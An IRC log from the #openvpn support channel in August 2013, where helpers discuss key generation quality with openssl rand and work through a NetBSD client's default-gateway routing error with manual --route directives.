19:37 < MacGyver> pekster: You do realize that it wasn't me asking for help, right?
19:37 < MacGyver> pekster: And that I simply decided to take a stab at brandon1's problem because the channel was deserted?
19:37 <+pekster> Ah, I scrolled too quickly; saw your nick for his post
19:37 <+pekster> No need to apologize for offering to help
19:38 < MacGyver> Right, mistaken identities :) It happens.
19:38 <+pekster> Well, those are the factoids you can use to direct people to post a real description of their issue. !welcome has most of that too
19:39 <+pekster> All things said, you'll generally have an easier time spooting issues if you get proper config info, not their favourite frontend's GUI checkboxes in a screenshot ;)
19:43 < rob0> I'll tell you the most important 3 factoids: !redirect !clientlan !serverlan : especially the flowcharts
19:44 < rob0> you can sit back and be lazy while the person who has the problem does the work :)
19:45 <+pekster> The good news is all of this is 2-3 factoids away from those who read the /topic. The bad news is that most of Freenode (including many old-timers) don't bother to read them
19:45 -!- raidz is now known as raidz_away
19:45 < rob0> "By now you have read the /topic and you know ..." :)
19:45 <+pekster> rob0: I do like what #git does though: their bot responds to common !ask pretenses like "Hi" or "Hello"
19:50 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 248 seconds]
19:50 -!- theY4Kman [~Chaz@199-193-113-145.static.hvvc.us] has quit [Ping timeout: 264 seconds]
19:55 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
19:56 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 268 seconds]
20:02 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
20:07 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:25 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
20:27 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
21:09 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-vufzsqfzcfdiquzt] has quit [Excess Flood]
21:10 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zwgeppzjhyoghahw] has joined #openvpn
21:26 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
21:26 -!- mode/#openvpn [+v hazardous] by ChanServ
22:01 -!- theY4Kman [~Chaz@pool-72-77-187-14.tampfl.fios.verizon.net] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 260 seconds]
22:04 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
22:57 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has quit [Quit: jtran]
23:43 -!- theY4Kman [~Chaz@pool-72-77-187-14.tampfl.fios.verizon.net] has quit [Ping timeout: 256 seconds]
--- Day changed Wed Aug 21 2013
00:11 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
00:14 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
00:29 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:42 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
01:06 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hyacrnjvrhmykype] has joined #openvpn
01:06 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:11 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
01:16 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
01:22 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:38 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:02 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:13 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jzciwegbsywtrhto] has quit [Ping timeout: 256 seconds]
02:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ksjpdemfapxtfaba] has joined #openvpn
02:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
02:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:07 -!- Denial [Denial@94.9.99.190] has joined #openvpn
03:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
03:11 -!- Netsplit *.net <-> *.split quits: Laverne, pa, piele, jtrucks, Thermi, folivora, gtklocker, rob0, @mattock
03:12 -!- Netsplit over, joins: folivora
03:12 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
03:12 -!- Netsplit over, joins: jtrucks, piele
03:12 -!- mattock [~mattock@raidz.im] has joined #openvpn
03:12 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
03:12 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
03:12 -!- mattock [~mattock@raidz.im] has quit [Changing host]
03:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
03:12 -!- mode/#openvpn [+o mattock] by ChanServ
03:13 -!- Netsplit over, joins: pa
03:13 -!- hednod [exile@wintermute.probsd.net] has quit [Read error: Connection reset by peer]
03:13 -!- Netsplit over, joins: Thermi
03:13 -!- hednod [exile@wintermute.probsd.net] has joined #openvpn
03:13 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
03:14 -!- Netsplit over, joins: Laverne
03:17 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
03:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
03:24 -!- andrusha97_ [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
03:25 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Read error: Connection reset by peer]
03:26 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 248 seconds]
03:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:40 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has joined #openvpn
03:45 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:45 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:49 -!- thumbs is now known as httpd
03:49 -!- httpd is now known as thumbs
03:49 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
03:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:57 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
04:40 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ksjpdemfapxtfaba] has quit [Ping timeout: 245 seconds]
04:42 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Ping timeout: 256 seconds]
04:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-uwlrgyxodjgjtbhg] has joined #openvpn
04:50 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
05:01 -!- arnotixe_ [~arno@212.4.55.139] has joined #openvpn
05:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
05:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
05:04 -!- Devastator [~devas@186.214.110.67] has joined #openvpn
05:10 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
05:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
05:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:01 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:16 -!- Devastator [~devas@186.214.110.67] has quit []
06:21 -!- Poster|x is now known as Poster
07:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:18 -!- arnotixe_ [~arno@212.4.55.139] has quit [Quit: Leaving]
07:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
07:30 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:52 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
07:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:01 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:07 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
08:11 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:24 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 246 seconds]
08:28 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 248 seconds]
08:30 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
08:35 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
08:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:42 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:45 -!- JAVACODER [~JAVACODER@2.190.47.43] has joined #openvpn
10:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
10:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:24 -!- raidz_away is now known as raidz
10:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:04 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
11:04 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
11:11 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
11:23 -!- dna6a [~dna6a@203-206-184-111.perm.iinet.net.au] has left #openvpn []
11:27 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:29 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
11:29 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
11:42 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
12:08 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
12:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:14 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 264 seconds]
12:16 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has joined #openvpn
12:21 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
12:21 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has quit [Remote host closed the connection]
12:21 -!- lmm [uid6417@gateway/web/irccloud.com/x-kffhcvlubimelzwt] has quit [Ping timeout: 246 seconds]
12:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:22 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has joined #openvpn
12:25 < jtran> anyone here really familiar w/ radiusplugin?
12:26 -!- oc80z [~oc80z@blea.ch] has quit [Ping timeout: 264 seconds]
12:27 < jtran> i can't figure out why radiusplugin with openvpn not working.  i'm pretty certain my radius server ip and shared secret are correct because i have libpam working
12:28 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
12:30 -!- master_o1_master [~master_of@p4FF24651.dip0.t-ipconnect.de] has joined #openvpn
12:34 -!- master_of_master [~master_of@p4FD7B8D3.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
12:38 -!- backjlack_ [~quassel@188.27.125.135] has joined #openvpn
12:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
12:50 < jtran> http://pastebin.com/iYUieJdV
12:56 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
13:17 -!- backjlack_ [~quassel@188.27.125.135] has quit [Quit: leaving]
13:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
13:24 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-uwlrgyxodjgjtbhg] has quit [Quit: Leaving]
13:36 -!- JAVACODER [~JAVACODER@2.190.47.43] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
13:40 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has left #openvpn []
13:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-kfdtzbpyjhbamcny] has quit [Ping timeout: 276 seconds]
13:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-iuyucbweerngldxp] has joined #openvpn
14:17 -!- Denial [Denial@94.9.99.190] has quit []
14:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
14:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:32 -!- lmm [uid6417@gateway/web/irccloud.com/x-kpdvekdmhjwjnmqp] has joined #openvpn
14:36 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has quit [Read error: Connection reset by peer]
14:36 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has joined #openvpn
14:40 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has quit [Ping timeout: 256 seconds]
14:57 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has quit [Read error: No route to host]
14:58 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has joined #openvpn
15:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:44 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
15:45 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:46 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:47 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 264 seconds]
15:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:54 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
15:54 -!- p3rror [~p3rror@41.249.38.100] has joined #openvpn
16:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:05 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Quit: Leaving..]
16:11 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
16:17 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
16:21 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:31 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
16:32 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
16:33 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
16:34 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
16:43 -!- HaxCore [~p3rror@41.249.6.100] has joined #openvpn
16:46 -!- p3rror [~p3rror@41.249.38.100] has quit [Ping timeout: 256 seconds]
16:51 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has joined #openvpn
16:52 < mivok> Hi, is the key generated with openvpn --genkey completely random, or does it have special properties? What I'm asking is can I generate the same thing with 'openssl rand -hex 256' and some formatting if I'm generating on a machine where I don't have the openvpn binary installed?
16:54 -!- HaxCore [~p3rror@41.249.6.100] has quit [Read error: Connection reset by peer]
16:56 <+pekster> mivok: I'd avoid doing that unless you're sure the PRNG has been seeded correctly
16:56 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Quit: ZNC - http://znc.in]
16:56 <+pekster> This said, if you don't care about the cryptographic quality of the bytes generated, you can do that
16:57 < EugeneKay> It uses /dev/random, if that's what you mean.
16:57 <+pekster> rand(3) indicates you need to properly seed the PRNG in addition
16:58 < mivok> ah, I missed that openssl rand was a prng, I'll rephrase to catting /dev/random with some conversion to hex output.
16:59 < mivok> I'm generating everything else (CA stuff) with openssl on a central server, and wanted to see if I could get away with only installing openvpn on the final vpn server.
17:00 <+pekster> openvpn is pretty small, all things said
17:00 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
17:00 <+pekster> Beyond the required openssl libs (which you obviuosly already have) it's just lzo you need that's possibly "unusual", and you could probably get away with installing a build without lzo enabled if you truely wanted to avoid that
17:01 <+pekster> tl;dr: you can generate the key however you want, but mind the cryptographic quality if that's important
17:01 <+pekster> In the 'real world' I'd give it a rating of "fairly unlikely" that `openssl rand ...` would pose issues
17:03 < mivok> well it pretty clearly highlighted a danger to me - I was assuming that openssl would be generating cryptographically random output with the rand command.
17:03 < mivok> thanks
17:04 <+pekster> See rand(1) and rand(3) if you want details on where the seed comes from (a combination of $HOME/.rnd and anything you feed to -rand on the CLI, apparently)
17:04 <+pekster> Yea, I'd just use the proper frontend tools for generating things as important as keys or keypairs
17:04 <+pekster> 'rolling your own crypto' is usually a bad idea
17:05 <+pekster> You could probably have downloaded the openvpn sources and run ./configure with the options to disable lzo by now ;)
17:05 < mivok> well, using openssl isn't supposed to be 'rolling your own crypto'
17:06 <+pekster> Remember that the frontend tools are fairly limited in their support since you aren't generating them through the backend API. This said, if your .rnd file exists, it'll be used for seeding
17:08 <+pekster> https://www.openssl.org/docs/crypto/RAND_bytes.html# seems to suggest it will (internally anyway) error if there's not enough seeding
17:08 <@vpnHelper> Title: OpenSSL: Documents, RAND_bytes(3) (at www.openssl.org)
17:09 <+pekster> Ah, yea, don't use it:
17:09 <+pekster> "Pseudo-random byte sequences generated by RAND_pseudo_bytes() will be unique if they are of sufficient length, but are not necessarily unpredictable. They can be used for non-cryptographic purposes and for certain purposes in cryptographic protocols, but usually not for key generation etc."
17:10 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
17:10 <+pekster> And, it get muddier, becuase RAND_bytes() *is* cryptographically strong enough. Depends on what rand(1) uses (go digging in the source I guess)
17:10 -!- s7r [s7r@openvpn/user/s7r] has joined #openvpn
17:10 -!- mode/#openvpn [+v s7r] by ChanServ
17:12 -!- mode/#openvpn [+o EugeneKay] by ChanServ
17:16 < mivok> I get it, I'll build openvpn :). I remember we had trouble doing this in the past (solaris), but I think it was related to tun/tap stuff rather than openvpn itself and I won't be using it in this case.
17:16 <+pekster> Don't really need any of the tun/tap or stuff if you won't be actually opening tun/tap devices
17:17 <+pekster> Build it on a separate box if you don't want the compile-time-only deps on your central management system
17:17 <+pekster> Or generate keys elsewhere and transport them to the deployment system. Lots of options ;)
17:18 <+pekster> I'd be less-worried if these are for --tls-auth than if you're generating static data channel crypto keys
17:20 < mivok> they are for tls-auth, but it doesn't mean any bad script I write wouldn't get misused in future
17:21 < mivok> anyway, thanks for your help and suggestions - I'll work something out.
17:22 <+pekster> Sure. Didn't mean to make the issue more complicated for you, but security is often at odds with usability
17:23 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
17:26 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:28 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
17:34 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
17:39 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
17:40 -!- klein [~klein@177.101.103.104] has joined #openvpn
17:40 -!- klein [~klein@177.101.103.104] has quit [Changing host]
17:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:42 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:13 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
18:29  * s7r is away: cash cash 
18:32 <@EugeneKay> dolla dolla money
18:40 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
18:46 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
18:52 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
19:17 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has joined #openvpn
19:17 < chain> hello everyone!
19:19 < chain> I'm having a problem with openvpn client running on netbsd
19:22 < chain> Basically the openvpn client can't obtain the default gateway. The man page states that it doesn't work on all operating systems, but is there any way to tell openvp what's the default gw on my system?
19:26 < chain> Could not retrieve default gateway from route socket:: Invalid argument (errno=22)
19:30 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
19:32 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
19:33 < BtbN> chain: you have to do manualy what redirect-gateway would do
19:36 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Operation timed out]
19:36 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
19:37 < chain> and how can I do that?
19:38 <+pekster> Use --route and enter a static IP instead of expecting the net_gateway macro to do the work for you
19:38 <+pekster> The OpenVPN internal code attempts to look up the system's default gateway, but in the event it cannot do so it will error out and you must do so manually
19:41 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:42 < chain> I'm ok with setting it manually, but I've been trying to figure this out for several hours now, and I can't make it work.
19:43 <+pekster> !configs
19:43 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:43 < chain> it works fine on windows, freebsd and linux, just not on netbsd because apparently openvpn doesn't know how to obtain the default gw on that particular os
19:44 <+pekster> There's code to do it on fbsd too, but it's apparently not working for you
19:45 < chain> It does work on freebsd, it doesn't work on netbsd though.
19:45 <+pekster> I meant code for netbsd
19:46 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
19:46 <+pekster> win32, fbsd, netbsd, linux, android, dragonfly, and darwin are all spuported
19:46 <+pekster> (and openbsd)
19:48 <+pekster> If you'd like, feel free to open a bugreport, though it's odd that you don't seem to want to paste the configs for a quick fix on "manually setting it" here
19:48 < chain> this is a fresh install of netbsd 6.1.1, I tried openvpn 2.3.0 and 2.3.2 with same result
19:48 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
19:52 < chain> I'll have to find those config files first
19:52 < chain> I was actually running openvpn with --config something.ovpn
19:54 <+pekster> Then something.ovpn is your config file
19:55 < chain> http://pastebin.ca/2435594
19:56 <+pekster> FYI, you should re-generate the key at somepoint as you pated an inline unencrypted key there
19:57 < chain> I know.
19:57 <+pekster> So, replace `--redirect-gateway` with the 3 steps that the manpage explain this helper-directive does. Specifically:
19:59 <+pekster> `--route-gateway remote_host 255.255.255.255 YOUR_LAN_GATEWAY_HERE --route 0.0.0.0 128.0.0.0 vpn_gateway --route 128.0.0.0 128.0.0.0 vpn_gateway`
19:59 <+pekster> (that's actualy what 'def1' is doing, but this is what you really want anyway in this case)
19:59 <+pekster> The process has the same effect as --redirect-gateway without relying on the failing autodetection of your gateway
20:01 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
20:02 <+pekster> (actually, in terms of security, you need to revoke the cert & use a CRL on the server, use a ccd file to `disable` the cert's CN, or re-gen the PKI)
20:03 -!- raidz is now known as raidz_away
20:04 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
20:06 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:06 < chain> I'll worry about the certificates once I get this to work
20:16 < chain> ok, so I tried removing the redirect-gateway in the config file and adding those three lines in its place, but it didn't work, so I tried passing them from the command line, but it didn't work either.
20:20 -!- brandon1 [~brandon@ip98-167-201-220.ph.ph.cox.net] has joined #openvpn
20:27 < chain> The man page says that vpn_gateway is a special keyword, but openvpn gives me a "vpn_gateway undefined" message
20:33 <+pekster> So, options can go either at the CLI or the options file (both are identical.)
20:34 <+pekster> chain: Have you pushed an IP to this client? The vpn_gateway macro requires that you have, as does any possibility to route across the link
20:34 <+pekster> chain: Oh, and in topology subnet, you also must push the --route-gateway as the server could be using "any" IP in the subnet in that case
20:35 <+pekster> So, a copy of your server config (feel free to remove inline keys/certs for security) would be helpful
20:39 < chain> I'm not running the server, so I can't show you the server config.
20:39 <+pekster> !both
20:39 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
20:40 <+pekster> This said, "most" of the configuration as it applies to your client will be in the logs, so past !logs at verb 4 (see !verb on that) and it may provide some good ideas on where to look
20:41 <+pekster> Determining why the vpn_gateway can't resolve should be fairly straight-forward, although it's really a problem on the server in that case (though without logs I can't say)
20:43 < chain> I've determined all the ip addresses so that I won't have to use the macros
20:44 <+pekster> That works too
20:49 < chain> well it didn't help though.
20:49 < chain> I don't think it's a server side problem because like I said before - it works on other operating systems.
20:50 <+pekster> And I've used OpenVPN on NetBSD without issue, including the use of the --route command
20:52 <+pekster> Crystal ball says: "It didn't work? Something is not right!"
20:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
20:56 < chain> something is certainly not right
20:57 < chain> Maybe it's a problem with this particular version of NetBSD?
20:57 < chain> I just don't know...
20:57 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
20:57 <+pekster> Without specific errors you're getting, neither do I!
20:57 < BtbN> does the user you're running openvpn with even have the permission to modify routed?
20:58 <+pekster> BtbN: Good question, although after looking at the source code, I believe the only reason determining the vpn_gateway would fail is if the server isn't using a p2p (or net30, which is used as p2p on Unixes) or forgot to push the --route-gateway option in tap/subnet modes
20:58 <+pekster> Of course, this isn't relevant if pure IPs are used, in which case the "mysterious failure" would have some helpful logs to go with it
20:59 <+pekster> Oh, or simply didn't send an IP to the client (that would cause it too)
21:00 -!- brandon1 [~brandon@ip98-167-201-220.ph.ph.cox.net] has quit [Quit: WeeChat 0.3.8]
21:09 < chain> I'll try the same configuration on OpenBSD
21:09 < chain> But not today
21:13 < chain> thanks for all your help pekster
21:16 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Quit: Leaving.]
21:16 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:27 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:40 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has quit [Quit: Leaving]
22:51 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
22:52 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Client Quit]
22:54 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
22:55 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
22:57 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 256 seconds]
23:20 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
23:22 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Ping timeout: 246 seconds]
23:23 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
23:23 -!- aegis [~aegis@184.75.213.34] has quit [Ping timeout: 264 seconds]
23:24 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 246 seconds]
